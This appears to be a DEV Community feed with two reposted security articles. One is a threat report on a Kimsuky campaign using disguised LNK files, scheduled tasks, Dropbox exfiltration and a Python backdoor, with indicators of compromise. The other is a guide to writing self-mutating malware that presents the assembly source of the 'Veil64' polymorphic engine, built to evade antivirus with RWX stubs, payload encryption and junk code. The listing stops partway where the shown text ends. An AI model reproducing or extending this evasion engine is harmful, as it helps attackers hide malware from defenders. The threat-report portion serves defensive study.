DEV Community: Excalibra

Kimsuky Deploys Malicious LNK Files to Implant Python-Based Backdoor in Multi-Stage Attack

Excalibra — Mon, 13 Apr 2026 17:43:19 +0000

Notable Changes Observed in Malicious LNK Files Distributed by Kimsuky Group

Article Summary: The North Korean Kimsuky hacker group recently used malicious LNK files disguised as HWP documents to launch multi-stage attacks. They extended the attack chain by adding intermediate stages such as XML, VBS, and PS1 files to evade detection. The attack creates hidden folders, registers scheduled tasks for persistence, and finally deploys a Python backdoor that supports remote command execution, file theft, and other capabilities. Data is exfiltrated through Dropbox to blend in with normal traffic.

Categories: Malware, Threat Intelligence, Incident Response, Vulnerability Analysis, Red Team

Recently, a clear evolution has been detected in the malicious LNK files being distributed by the Kimsuky group. While the overall flow leading to the execution of a Python-based backdoor or downloader remains similar to previous campaigns, the actual execution process now employs a significantly more complex multi-layered structure. The group is also abusing legitimate cloud services and attempting to evade detection through Python-based malware. Because these files are difficult to identify by appearance alone, user vigilance has become even more critical. In this article, we examine the changed delivery method, key characteristics, and the full attack flow.

[Table 1] Comparison of Past and Recent Delivery Methods

1. Past LNK Delivery Method

1-1. Initial Execution

Previous LNK files operated by executing a PowerShell script that downloaded a BAT file from an external URL.

URL: hxxps://qugesr[.]online/m/bDw

[Figure 1] Malicious BAT Script File

1-2. Intermediate Stage

The downloaded BAT file further downloads additional ZIP files and decoy files. It then downloads split ZIP fragments individually, merges them into a single archive, and extracts it. The resulting archive contains a Python script, Python interpreter, and an XML scheduled task file (sch.db). Based on the XML file, a scheduled task named Microsoft_Upgrade{10-9903-09-821392134} is registered. The Python script is then executed via the task scheduler, ultimately leading to the download and execution of the Python-based backdoor.

[Table 2] Additional File Downloads

[Figure 2] Legitimate Decoy File

2. Recent LNK Delivery Method

2-1. Initial Execution

The recently distributed LNK files — “Resume (Park Seong-min).hwp.lnk” and “Guidelines for Establishing Data Backup and Recovery Procedures (Reference).lnk” — execute a PowerShell script just like previous versions. They create a folder at C:\windirr with hidden and system attributes. This is presumed to be an anti-forensic measure to prevent the path from appearing in normal user file exploration. The LNK then drops and executes the files it contains into this folder. Among them is a legitimate decoy file, and an HWP document using the exact same filename as the LNK is created to fool the victim.

[Figure 3] Legitimate Decoy File

[Table 3] File Functions

2-2. Intermediate Stage

A scheduled task is created based on an XML file. The task name is set to GoogleUpdateTaskMachineCGI__{56C6A980-91A1-4DB2-9812-5158E7E97388}. Inside the XML, a task is defined that repeatedly runs the command wscript.exe /b "C:\windirr\11.vbs" every 17 minutes starting from 2025-08-26 15:17. When the VBS file executes via the scheduler, it launches C:\windirr\pp.ps1.

[Figure 4] Registered Scheduled Task

The pp.ps1 script creates C:\Users\Public\Documents\tmp.ini and saves the information listed in [Table 4] into it. The attackers are using Dropbox as a C2 channel for data exfiltration. Stolen data is uploaded with filenames in the format <userdomain>_<date>_info.ini. Additionally, the file zzz09_test.db_sent from the attacker’s Dropbox is downloaded and saved as C:\Users\Public\Music\hh.bat, then executed with cmd.exe /c C:\Users\Public\Music\hh.bat.

[Table 4] Exfiltrated Information

[Figure 5] Partial Code from pp.ps1

The hh.bat file downloads two split ZIP fragments from the URLs below, merges them into a single ZIP at %TEMP%\G9081234.zip, and extracts it to C:\winii. Inside the archive are an XML scheduled task file (norton.db) and the Python backdoor (beauty.py).

[Table 5] Additional File Downloads

[Figure 6] Partial Code from hh.bat

The final Python backdoor is executed through the XML scheduled task. The hh.bat registers a new task named GoogleExtension{02-2032121-098} to run C:\winii\beauty.py.

3. Python Malware

Two types of Python-based malicious code were identified: a downloader that fetches additional payloads from an external server, and a backdoor that remotely executes attacker commands.

3-1. Backdoor

The backdoor sends a packet containing the string “HAPPY” to the C2 server at 45.95.186[.]232:8080 to signal successful infection. It then communicates using a custom protocol with fixed 4096-byte packets starting with magic bytes 0x99 0x0A 0xBD 0x99. Depending on the command code, it performs the following functions:

Shell command execution
Drive list enumeration
File upload and download
File deletion (with random data overwrite before deletion) and execution (.exe, .bat, .vbs)

During analysis, actions such as collecting drive information, network configuration (via ipconfig), and running processes (via tasklist) were observed.

[Figure 7] Function Branching Based on Attacker Commands

[Table 6] Functions by Command

[Table 7] Commands Sent by Attacker

3-2. Downloader

The downloader connects to the attacker-controlled server, saves VBS and BAT files to the %TEMP% path, and executes them in the background using the CREATE_NO_WINDOW (0x08000000) flag without showing a console window. After 180 seconds, it deletes both files to erase traces.

[Figure 8] Partial Python Downloader Code

4. Kimsuky Group Characteristics

4-1. XML-Based Scheduled Task Registration

The task names used in this backdoor campaign are similar to those previously used by Kimsuky when distributing RAT malware.

[Table 8] Similarity in Scheduled Task Names

4-2. Similar XML Filenames

Kimsuky has historically used XML files in the sch_*.db format for scheduled task registration.

[Table 9] Similarity in XML Filenames

4-3. Reuse of Previously Used Decoy Files

Decoy files used in past Kimsuky campaigns are being reused in these new LNK attacks.

[Figure 9] Legitimate Decoy File Used in Previous Kimsuky Campaigns

5. Conclusion

In this campaign, Kimsuky maintained a similar overall attack flow while introducing structural changes in the intermediate execution stages. The abuse of legitimate cloud services like Dropbox for both data exfiltration and file download, along with the use of Python to bypass detection, are notable features. These changes demonstrate the group’s tactic of keeping the broad attack framework intact while continuously modifying implementation details to evade detection.

LNK files disguised as document files are extremely difficult to identify as malicious based on appearance alone. Therefore, users should always be cautious with files from unknown sources and never execute them recklessly.

Source: AhnLab

The Art of Self-Mutating Malware

Excalibra — Sat, 11 Apr 2026 10:09:15 +0000

Article Summary: This article systematically elaborates on the technical evolution and implementation principles of self-mutating malware, covering the core mechanisms of polymorphic and metamorphic engines. Through two concrete examples — Veil64 and Morpheus — the author "f00crew" from Hong Kong China, analyzes key techniques such as register randomization, algorithmic variants, and intelligent junk code injection. It emphasizes how mutation at the syntactic, structural, and semantic layers can evade signature-based detection while strictly adhering to the principle of behavioral conservation. The author points out that the essence of mutation technology is to keep functionality unchanged while infinitely varying the implementation method, and warns of risks such as code size inflation and stability issues.

Categories: Malware, Binary Security, Vulnerability Analysis, Red Teaming, Penetration Testing

The Art of Self-Mutating Malware

In the beginning, detection relied on signatures — a simple byte string that could uniquely identify a malicious sample. In that era, the process was straightforward: append the virus to the end of a file and patch the entry point. The AV industry quickly responded with signature databases, and for a period, the rhythm of this confrontation was predictable.

This article discusses how to implement self-mutating malicious code: how to build your own polymorphic engine, and some core ideas behind metamorphic code. For malicious code, self-mutation is one of the most elegant paths to solving the detection problem. You no longer just hide yourself — you become “another you” with every replication. This is the purest form of digital evolution.

The concepts we discuss do not depend on any specific implementation. Although the article uses real examples and practical principles from code I have written, the real value lies in understanding the underlying theory of “why mutation is feasible.”

Let’s go back to the beginning. Early VX practices were crude: they directly overwrote files and caused destruction. Some samples would first run the original program and then deliver their own payload. AV quickly caught up, mainly relying on signature scanning to catch samples.

The VX community evolved accordingly and began encrypting their code. The payload remained encrypted and was only unpacked at runtime. AV then turned its attention to the decryptor, so VX authors began dynamically transforming decryption routines. Some families even automatically rotated decryptors — this type later became known as oligomorphic.

Around 1985 to 1990, AV dominated with static signature scanning: string matching and fixed byte patterns made samples easy to hit once they landed on disk. By the early 1990s, the situation began to change. Virus bodies started to be encrypted, exposing only a decryption stub. This stub immediately became AV’s primary hunting target and spurred the development of wildcard and heuristic scanning.

Then polymorphic viruses appeared. The virus would automatically generate a new decryptor at creation time or during each infection. Each instance had its own encryption/decryption routine and evaded scanning by rearranging machine code. This was the typical feature from 1995 to 2000: the same virus, infinite appearances. Dark Avenger’s MtE engine completely rewrote the rules of this game.

After that, metamorphic viruses emerged. They no longer relied on an encryption shell. They would rewrite the entire body with every infection. Code structure, control flow, and register usage would all change, but the payload remained unchanged. Between 2000 and 2005, metamorphic samples like Zmist and Simile raised the bar even higher: there was no fixed decryptor to track — only continuous code mutation.

Metamorphic code changes everything, not just the decryptor. It evolved from polymorphism but upgraded from “encryption camouflage” to “overall code reshaping.” Detection difficulty is extremely high; implementation difficulty is equally high, especially at the assembly level.

Overview

When it comes to self-modifying loaders, you have two paths. The first is to keep it small and aggressive: build a lightweight, fast loader that only performs “just enough” mutation — tweak a few places here, quickly shuffle a few there — to slip past scanners without triggering obvious alerts. The code remains compact and raw, but reliable enough.

The other path is full metamorphosis. The loader no longer just fine-tunes itself; it disassembles and rebuilds itself. Layouts are rearranged, instructions are scattered, and entirely new encryption is used on every run. Even if reverse engineers and AV capture one version, the next version will look like a completely unfamiliar sample.

This is not magic. Making it run stably after every mutation is extremely difficult. You must build in validation: count instructions, verify jumps, and perform sanity checks on every change — otherwise it will crash immediately. Even more troublesome is that code size can balloon out of control, eventually losing practicality.

Before discussing specific techniques, we must first clarify: when we talk about executable code, what does “mutation” really mean? It is not just “changing a few bytes,” but the relationship between “form and function,” and how far this relationship can be stretched without destroying behavior.

— The Essence of Identity —

What exactly makes a program “itself”? Is it the order of instructions? Register usage? Memory layout? Or something deeper, like intent?

Mutation’s answer is: identity does not lie in what the code looks like, but in what the code does. As long as two binaries produce the same output for the same input, they are functionally equivalent — even if their assembly is completely different.

Version A:                    Version B:                    Version C:
mov eax, 0                    xor eax, eax                  sub eax, eax
inc ebx                       add ebx, 1                    lea ebx, [ebx+1]

Bytes:                        Bytes:                        Bytes:
B8 00 00 00 00 43             31 C0 83 C3 01                29 C0 8D 5B 01

Three completely different byte patterns that produce identical behavior. This was my “eureka moment” and the starting point for all subsequent implementations.

The core insight is: a program’s identity is not its bytes, but its behavior. If I can generate infinitely many patterns that keep behavior unchanged while making bytes different, signature-based detection will be continuously undermined.

But this also raises harder questions:

How to systematically generate equivalent code?
How to guarantee correctness across mutations?
How to make variants truly unpredictable?

These three questions directly shaped the design of my two engines. They explore different paths to “mutation,” and we call them Veil64 and Morpheus.

Veil64 is a polymorphic code generator used to produce infinite variants of decryption routines: same functionality, infinite forms. Morpheus is a file infector that truly rewrites its own code during execution.

This is the core idea. Everything else is built on top of it: if you cannot hide what is done, then make how it is done unpredictable.

Signatures are the byte patterns that AV focuses on tracking — the “high-risk” digital footprints. Strings, code fragments, hashes — anything that can mark malware will be used. Encryption is a key technique here: it scrambles these recognizable markers, making it difficult for AV to hit them.

Then there is the payload, the part that actually executes the malicious logic. It usually does not run alone but is bound to a stub. This small module decrypts and launches the payload in memory. Because the payload itself is encrypted, AV has difficulty hitting it statically and instead targets the stub. The advantage is that the stub is small and easy to continuously mutate, allowing it to constantly bypass old rules.

This turns the confrontation into a “one-to-many” game, and this mathematical relationship naturally favors the mutation side. Each new variant has a chance to break old detection rules, burn old signatures, and continue to lurk.

“What starts as polymorphic finishes as metamorphic.”

— Levels of Mutation —

Mutation is not just surface-level change — it occurs across layers, including syntactic, structural, and semantic reconstruction.

First, syntactic mutation (grammar-level mutation). This is the outermost layer: replacing equivalent instructions, randomizing register usage, and reordering operations. Appearance changes, result remains the same.

Original:     mov eax, [ebx+4]
Mutated:      push ebx
              add ebx, 4
              mov eax, [ebx]
              sub ebx, 4
              pop ebx

Both snippets load the value at [ebx+4] into eax, but the instruction paths are completely different.

Deeper is structural mutation (structure-level mutation). The change is more profound: reconnecting control flow, rewriting data structures, or even replacing entire algorithms with “different paths but equivalent results.”

The deepest is semantic mutation (semantic-level mutation). It splits functions and reorganizes logic into behaviorally equivalent bodies while ensuring the original intent remains unchanged.

— The Conservation Principle —

No matter how aggressive the mutation, there is one non-negotiable constraint: the program’s semantic behavior must be preserved. What is done (functional output) must remain unchanged; only how it is done (internal implementation mechanism) can change.

The genotype (underlying code structure) can freely drift, mutate, and be obfuscated; the phenotype (externally observable behavior) must remain constant. All mutation techniques can only operate within this boundary.

Naive Approaches

Polymorphism is the purest form of mutation. It essentially expresses the same thing in a thousand different ways. Like a chameleon with a clear goal: core behavior is locked, while everything else continuously changes. No fixed identity, only endless variants.

My first serious attempt to break signature detection was Veil64: a polymorphic code generator capable of generating infinite different ways to write the same decryption logic. The goal was simple: encrypt the payload differently every time and ensure the decryptor never appears the same twice.

— Core Challenges —

Constructing code that can correctly decrypt every time but looks different each time is non-trivial. Every generation must be compact, fast, clean, highly efficient, without leaving obvious patterns, and resistant to both static and dynamic analysis.

I started with a simple two-stage design, and understanding this split is key to why it works. The first layer is the stub: a minimal piece of code responsible for memory allocation and decrypting the embedded engine. The second layer is the engine itself: the polymorphic decryptor that actually handles the payload.

┌─────────────────┐
│   Stub Code     │   (119-200 bytes)
├─────────────────┤
│ Encrypted Engine│   (176-300 bytes)
├─────────────────┤
│   Padding       │
└─────────────────┘

Why use two stages? Because this allows the polymorphic engine itself to be encrypted. The stub is small and simple, so even with variants, the signature surface is limited. The real polymorphic power resides in the engine. By encrypting the engine and embedding it inside the stub, complex and variable code is hidden until runtime.

The overall flow is as follows: you call genrat() with a buffer, size, and seed key. The engine first generates a runtime key using multiple entropy sources: RDTSC provides hardware timing, stack pointer provides process differences, and RIP provides position-related randomness. It then builds the polymorphic engine, including random register allocation, selection among four algorithmic variants, and intelligent junk code injection.

Next comes the stub generation stage. Multiple mmap syscall initialization variants are generated, RIP-relative addressing is handled for position independence, and the encrypted engine is embedded. Finally, everything is encrypted and assembled into executable code.

The clever part is that the stub and engine change independently. Even if someone creates a signature for a stub variant, the internal encrypted engine is different every time. Even if they manage to extract and analyze the engine, the next generation will use a completely different set of registers and algorithms.

— The Four Pillars of Polymorphism —

Never use the same set of registers twice.

Hard-coded registers are signature bait. If your decryptor always uses EAX as a counter and EBX as a data pointer, you are practically exposing yourself. Such patterns will be quickly flagged, so the engine randomizes register usage on every generation.

But this is not random grabbing. The selection process avoids conflicts, skips RSP to prevent stack corruption, and ensures no register takes on multiple roles. The underlying logic looks roughly like this:

get_rr:
    call next_random
    and rax, 7
    cmp al, REG_RSP           ; Never use stack pointer
    je get_rr
    cmp al, REG_RAX           ; Avoid RAX conflicts
    je get_rr
    mov [rel reg_base], al    ; Store base register

.retry_count:
    call next_random
    and rax, 7
    cmp al, REG_RSP
    je .retry_count
    cmp al, [rel reg_base]    ; Ensure no conflicts
    je .retry_count
    mov [rel reg_count], al

This process is repeated for key registers and all registers used in junk code. Even before considering algorithms and junk injection, there are already 210 possible register combinations. That means the same register-level operation can have 210 different appearances — all completely distinct to a signature scanner.

One variant might use RBX for data, RCX for counting, and RDX for the key. The next might switch to RSI for data, RDI for counting, and RBX for the key. Yet another could use extended registers R8, R9, R10. Every combination is functionally equivalent, but the opcode patterns are completely different.

— Four Ways to Say the Same Thing —

Register randomization is only the starting point. True depth comes from algorithmic polymorphism. We do not fix a single decryption flow but cycle between four equivalent algorithms: same output, completely different instruction streams.

This is not simply swapping XOR for ADD. Each variant is carefully designed to guarantee correctness while maximizing signature dispersion.

Algorithm 0: ADD → ROL → XOR
Algorithm 1: XOR → ROL → XOR
Algorithm 2: SUB → ROR → XOR
Algorithm 3: XOR → ADD → XOR

All four algorithms produce identical final results, but their instruction sequences and opcode patterns are entirely different.

Each algorithm has a corresponding inverse process in the encryption phase. For example, if encryption uses XOR → ROR → SUB, decryption uses ADD → ROL → XOR. Mathematically they cancel perfectly, but the instruction flows never look the same. Opcode patterns, instruction lengths, and register usage all change. To a signature scanner, they appear as completely different routines.

— Intelligent Junk Code —

Most polymorphic engines fail here: they either stuff random bytes or pile on obvious NOP sleds, practically shouting “I’m malware.” That is low-level. True polymorphism uses “intentional-looking” junk code that blends into the context and mimics normal compiler output.

Junk injection is not purely random — it is structured. It uses no-net-effect PUSH/POP pairs that look like register preservation, XOR reg, reg to imitate common zeroing initialization, and MOV reg, reg that resembles typical compiler register shuffling.

This is just a very basic example. Some engines do it more aggressively. The key point is to make it look like real developer code. PUSH RAX followed by POP RBX can masquerade as register saving and transfer; XOR RAX, RAX looks like legitimate initialization; MOV RAX, RAX resembles dead code left by an optimizer. Functionally they add no value, but visually they blend in.

Junk injection also deliberately varies in density: sometimes heavy, sometimes sparse; sometimes clumped, sometimes scattered in loops. There is no fixed “junk zone” that can be isolated — only code that looks normal every single time.

— Breaking Linear Analysis —

Static analysis relies on linear flow: traversing code, building graphs, and extracting patterns. So we break it. Random jumps are inserted to skip over junk regions, directly destroying straight-line logic.

Jump generation is subtle. Sometimes 2-byte short jumps, sometimes 5-byte long jumps; they may skip only 1 byte or over a dozen. The skipped junk content is randomized every time. Even if the analyzer follows the jump path, its rhythm is disrupted on every run.

This produces unpredictable control flow and interferes with both static and dynamic analysis. Static tools face non-linear instruction streams mixed with random data; dynamic tools encounter different execution paths on every run, making it difficult to build a stable behavioral profile.

These jumps also serve a dual purpose: they mimic compiler output. Real compiled code is full of branches, jumps, and irregular flow. Injecting our own jumps increases this “natural complexity,” helping the code blend more seamlessly.

— The Entropy Problem —

Hard-coded keys or constants are traps. I learned this the hard way: early versions embedded the constant 0xDEADBEEF in every variant. No matter how much the rest of the code changed, that fixed value instantly became a red flag.

The solution is runtime key generation: no fixed constants, no repetition, no nail-down patterns. The key is reconstructed on every execution, drawing from multiple entropy sources that vary with execution round, process, and machine.

Entropy comes from multiple sources. RDTSC provides high-resolution microsecond-level timing; the stack pointer changes with processes and function calls; RIP brings position-related randomness under ASLR; the user key introduces input-driven variation.

The real strength lies in how these values are combined. It is not simple XOR, but involves rotations, complements, and mixing with stack-related values. Each transformation step depends on the current state, forming a dependency chain that ultimately produces a truly unpredictable key.

— Randomness Is Critical —

Excellent polymorphic capability depends on high-quality randomness. Many engines use basic linear congruential generators or simple incrementing counters — both easily produce predictable patterns that can be flagged. I prefer the XorShift PRNG: fast, long period (2^64−1), and passes strong statistical randomness tests without repeating for a very long time.

Under ASLR, code is loaded at different addresses each time. Hard-coded absolute addresses will cause the polymorphic decryptor to fail if it lands in an unexpected location. The solution is RIP-relative addressing, with offsets calculated based on the current instruction pointer.

— Just-in-Time Machine Code Generation —

This is where we reach the real core. You cannot simply rearrange pre-written assembly and call it polymorphic. The engine generates raw x64 machine code on the fly, building every instruction byte by byte. Opcodes and operands are computed dynamically based on the current register allocation and algorithm choice.

The ModRM byte is especially critical in x64: it encodes which registers are used. By calculating this byte dynamically, the engine can implement the same operation with any register combination, producing different bytes — and therefore different signatures.

The same polymorphic thinking applies to all syscall parameters. Multiple construction methods are used to avoid pattern matching.

— Performance and Scalability —

Basic generation averages 9 to 13 milliseconds per variant, translating to 50,000 to 75,000 variants per minute — enough to overwhelm signature detection. Speed is not higher because each variant undergoes register renaming, flow randomization, intelligent junk injection, and anti-debug checks.

Generation time fluctuates by ±3 to 4 ms by design to avoid predictability; stable timing would aid detection. The engine maintains this jitter by varying instruction order, junk block size, and encryption rounds.

Static memory footprint is approximately 340 to 348 KB — far larger than toy 4 KB engines. This includes precomputed transformation tables, runtime mutation logic, and anti-emulation traps. Per-variant memory usage remains stable with no leaks or growth.

Code size fluctuates between 180 bytes and 1.2 KB. Compact variants favor speed; balanced variants strike a compromise; complex variants maximize complexity to stress AV engines.

— What Variants Look Like —

Variant #1: Size 335, Key 0x4A4BDC5C3AEAC0AD
48 C7 C0 0A 00 00 00    mov rax, 10
48 FF C8                dec rax
50                      push rax
58                      pop rax
90                      nop
48 31 FF                xor rdi, rdi
...

Variant #2: Size 368, Key 0x6BAAA583D73FA32B
50                      push rax
58                      pop rax
50                      push rax
58                      pop rax
48 31 C0                xor rax, rax
48 83 C0 09             add rax, 9
...

Variant #3: Size 385, Key 0x5C3F1EDF85C0D55E
90                      nop
90                      nop
50                      push rax
58                      pop rax
48 C7 C0 09 00 00 00    mov rax, 9
...

Look at the differences. Variant #1 sets RAX by loading 10 then decrementing. Variant #2 uses PUSH/POP junk first, then XOR/ADD. Variant #3 starts with NOPs, inserts another set of junk, then loads directly. The result is the same (RAX = 9), but the method is completely different.

Size fluctuation is large. These three samples differ by less than 50 bytes. In reality, the engine can produce variants from compact 180-byte versions to large 1200-byte versions, depending on the intensity of junk injection and obfuscation.

The engine classifies variants into three categories by structure and complexity. Compact types (≈295–350 bytes) minimize junk and prioritize speed; balanced types (up to 400 bytes) compromise between obfuscation and stability; complex types (up to 500 bytes) layer more polymorphic techniques and anti-analysis features.

With four algorithms combined with 210 register permutations, there are already 840 base variants before adding junk and control-flow obfuscation. Introducing variable junk injection, diverse jump patterns, and multiple stub initialization methods expands the variant space into the millions.

The key is not just quantity, but “functional equivalence + signature diversity.” Every variant can correctly decrypt the payload, yet appears distinctly different from a signature-detection perspective.

Effective polymorphism maximizes signature diversity without degrading correctness. Generating billions of variants is meaningless if many are broken or still share detectable patterns. Correctness and diversity scale must hold simultaneously.

— Built-in Anti-Analysis Design —

Emulation engines usually struggle with variable timing, and junk code injection creates unpredictable execution durations. Key generation dependent on stack state makes the same variant behave differently across process contexts. Reliance on hardware timestamps further increases emulation cost because it requires accurate RDTSC simulation.

With no fixed constants or strings, static analysis tools struggle because there are almost no grep-able or fingerprintable anchors. Polymorphic control flow breaks linear analysis, while the encrypted embedded engine hides core logic until runtime.

Dynamic analysis is also disrupted by “legitimate-looking, functionally neutral” junk code. Multiple execution paths generate different behavioral traces on every run. Runtime key derivation ensures each execution has a unique key, making results difficult to reuse even if tracing succeeds.

Anti-analysis features are not optional — they are part of the system. Every polymorphic technique serves two purposes simultaneously: evading signatures and increasing analysis cost.

Veil64 Full Source Code

;------------------------------------------------------------
;   [ V E I L 6 4 ]
;------------------------------------------------------------
;   Type:           Polymorphic Engine / Stub Generator
;   Platform:       x86_64 Linux
;   Size:           ~4KB Engine + Custom Stub
;                   Runtime shellcode obfuscation, encryption,
;                   and stealth execution via mmap + RIP tricks.
;
;                                                   0xf00sec
;------------------------------------------------------------

section .text

global genrat
global exec_c
global _start

; x64 opcodes
%define PUSH_REG           0x50
%define POP_REG            0x58
%define ADD_MEM_REG        0x01
%define ADD_REG_IMM8       0x83
%define ROL_MEM_IMM        0xC1
%define XOR_MEM_REG        0x31
%define TEST_REG_REG       0x85
%define JNZ_SHORT          0x75
%define JZ_SHORT           0x74
%define CALL_REL32         0xE8
%define JMP_REL32          0xE9
%define JMP_SHORT          0xEB
%define RET_OPCODE         0xC3
%define NOP_OPCODE         0x90
%define JNZ_LONG           0x0F85
%define FNINIT_OPCODE      0xDBE3
%define FNOP_OPCODE        0xD9D0

; register encoding
%define REG_RAX            0
%define REG_RCX            1
%define REG_RDX            2
%define REG_RBX            3
%define REG_RSP            4
%define REG_RBP            5
%define REG_RSI            6
%define REG_RDI            7

section .data

stub_key:               dq 0xDEADBEEF            ; runtime key
sec_key:                dq 0x00000000
engine_size:            dq 0
dcr_eng:                dq 0
stub_sz:                dq 0
sz:                     dq 0

seed:                   dq 0                     ; PRNG state
p_entry:                dq 0                     ; output buffer
key:                    dq 0                     ; user key
reg_base:               db 0                     ; selected registers
reg_count:              db 0
reg_key:                db 0
junk_reg1:              db 0                     ; junk registers
junk_reg2:              db 0
junk_reg3:              db 0
prolog_set:             db 0
fpu_set:                db 0
jmp_back:               dq 0
alg0_dcr:               db 0                     ; algorithm selector

align 16
entry:
times 4096 db 0                                 ; engine storage
exit:

section .text

; main generator entry point
genrat:
    push rbp
    mov rbp, rsp
    sub rsp, 64
    push rbx
    push r12
    push r13
    push r14
    push r15

    test rdi, rdi                               ; validate params
    jz .r_exit
    test rsi, rsi
    jz .r_exit
    cmp rsi, 1024                               ; min buffer size
    jb .r_exit

    mov [rel p_entry], rdi
    mov [rel sz], rsi
    mov [rel key], rdx

    call gen_runtm                              ; generate runtime keys

    lea rdi, [rel entry]
    mov r12, rdi
    call gen_reng                               ; build engine

    mov rax, rdi                                ; calculate engine size
    sub rax, r12
    mov [rel engine_size], rax

    mov rdi, [rel p_entry]
    call unpack_stub                            ; build stub
    call enc_bin                                ; encrypt payload

    mov rax, [rel stub_sz]                      ; total
    test rax, rax
    jnz .calc_sz
    mov rax, rdi
    sub rax, [rel p_entry]

.calc_sz:
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbx
    add rsp, 64
    pop rbp
    ret

.r_exit:
    xor rax, rax
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbx
    add rsp, 64
    pop rbp
    ret

; generate engine
gen_reng:
    push rdi
    push rsi
    push rcx

    rdtsc
    xor rax, [rel key]
    mov rbx, 0x5DEECE66D
    xor rax, rbx
    mov rbx, rax
    shl rbx, 13
    xor rax, rbx
    mov rbx, rax
    shr rbx, 17
    xor rax, rbx
    mov rbx, rax
    shl rbx, 5
    xor rax, rbx
    xor rax, rsp
    mov [rel seed], rax

    push rdi                                    ; clear state
    lea rdi, [rel reg_base]
    mov rcx, 16
    xor rax, rax
    rep stosb
    pop rdi

    pop rcx
    pop rsi
    pop rdi

    call get_rr                                 ; select random registers
    call set_al                                 ; pick decrypt algorithm
    call gen_p                                  ; generate prologue

    call yes_no                                 ; random junk insertion
    test rax, rax
    jz .skip_pr
    call gen_trash

.skip_pr:
    call trash

    call yes_no
    test rax, rax
    jz .skip_dummy
    call gen_dummy

.skip_dummy:
    call gen_dec                                ; main decrypt loop

    call yes_no
    test rax, rax
    jz .skip_prc
    call gen_trash

.skip_prc:
    mov al, RET_OPCODE
    stosb

    cmp qword [rel jmp_back], 0                 ; conditional jump back
    je .skip_jmp

    mov ax, JNZ_LONG
    stosw
    mov rax, [rel jmp_back]
    sub rax, rdi
    sub rax, 4
    stosd

.skip_jmp:
    call trash
    mov al, RET_OPCODE
    stosb
    ret

; encrypt generated engine
enc_bin:
    push rdi
    push rsi
    push rcx
    push rax
    push rbx

    lea rdi, [rel entry]
    mov rcx, [rel engine_size]

    ; validate engine size
    test rcx, rcx
    jz .enc_done
    cmp rcx, 4096
    ja .enc_done
    cmp rcx, 10
    jb .enc_done

    ; encrypt in place
    mov rax, [rel stub_key]
    mov rsi, rcx

.enc_loop:
    test rsi, rsi
    jz .enc_done
    xor byte [rdi], al
    rol rax, 7
    inc rdi
    dec rsi
    jmp .enc_loop

.enc_done:
    pop rbx
    pop rax
    pop rcx
    pop rsi
    pop rdi
    ret

; build stub wrapper
unpack_stub:
    push rbx
    push rcx
    push rdx
    push r12

    mov r12, rdi

    call bf_boo                                 ; bounds check
    jae .stub_flow

    call stub_trash
    call gen_stub_mmap
    call stub_decrypt

    mov rax, rdi
    sub rax, r12
    mov [rel stub_sz], rax

    call stub_trash

    ; update size after junk
    mov rax, rdi
    sub rax, r12

    ; check space for encrypted engine
    mov rbx, rax
    add rax, [rel engine_size]
    cmp rax, [rel sz]
    ja .stub_flow

    ; embed encrypted engine
    lea rsi, [rel entry]
    mov rcx, [rel engine_size]
    test rcx, rcx
    jz .skip_embed
    rep movsb

.skip_embed:
    ; final size calculation
    mov rax, rdi
    sub rax, r12
    mov [rel stub_sz], rax

    pop r12
    pop rdx
    pop rcx
    pop rbx
    ret

.stub_flow:
    xor rax, rax
    mov [rel stub_sz], rax
    pop r12
    pop rdx
    pop rcx
    pop rbx
    ret

; generate stub junk
stub_trash:
    call next_random
    and rax, 7                                  ; 0-7 junk instructions
    mov rcx, rax
    test rcx, rcx
    jz .no_garbage

.trash_loop:
    call next_random
    and rax, 3                                  ; choose junk type
    cmp al, 0
    je .gen_nop
    cmp al, 1
    je .gen_push_pop
    cmp al, 2
    je .gen_xor_self
    jmp .gen_mov_reg

.gen_nop:
    mov al, 0x90
    stosb
    jmp .next_garbage

.gen_push_pop:
    mov al, 0x50                                ; push rax
    stosb
    mov al, 0x58                                ; pop rax
    stosb
    jmp .next_garbage

.gen_xor_self:
    mov al, 0x48                                ; rex.w
    stosb
    mov al, 0x31                                ; xor rax,rax
    stosb
    mov al, 0xC0
    stosb
    jmp .next_garbage

.gen_mov_reg:
    mov al, 0x48                                ; rex.w
    stosb
    mov al, 0x89                                ; mov rax,rax
    stosb
    mov al, 0xC0
    stosb

.next_garbage:
    loop .trash_loop

.no_garbage:
    ret

; generate mmap syscall stub
gen_stub_mmap:
    ; mmap setup
    call next_random
    and rax, 3                                  ; choose method
    cmp al, 0
    je .mmap_method_0
    cmp al, 1
    je .mmap_method_1
    cmp al, 2
    je .mmap_method_2
    jmp .mmap_method_3

.mmap_method_0:
    ; mov rax, 9
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC0
    stosb
    mov eax, 9                                  ; mmap syscall
    stosd
    jmp .mm_continue

.mmap_method_1:
    ; xor rax,rax; add rax,9
    mov al, 0x48
    stosb
    mov al, 0x31
    stosb
    mov al, 0xC0
    stosb
    mov al, 0x48
    stosb
    mov al, 0x83
    stosb
    mov al, 0xC0
    stosb
    mov al, 9
    stosb
    jmp .mm_continue

.mmap_method_2:
    ; mov rax,10; dec rax
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC0
    stosb
    mov eax, 10
    stosd
    mov al, 0x48
    stosb
    mov al, 0xFF
    stosb
    mov al, 0xC8
    stosb
    jmp .mm_continue

.mmap_method_3:
    ; mov rax,18; shr rax,1
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC0
    stosb
    mov eax, 18
    stosd
    mov al, 0x48
    stosb
    mov al, 0xD1
    stosb
    mov al, 0xE8
    stosb

.mm_continue:
    call stub_trash

    ; rdi setup
    call next_random
    and rax, 1
    test rax, rax
    jz .rdi_method_0

    ; mov rdi,0
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC7
    stosb
    mov eax, 0
    stosd
    jmp .rdi_done

.rdi_method_0:
    ; xor rdi,rdi
    mov al, 0x48
    stosb
    mov al, 0x31
    stosb
    mov al, 0xFF
    stosb

.rdi_done:

    ; mov rsi,4096
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC6
    stosb
    mov eax, 4096
    stosd

    ; mov rdx,7 (rwx)
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC2
    stosb
    mov eax, 7
    stosd

    ; mov r10,0x22 (private|anon)
    mov al, 0x49
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC2
    stosb
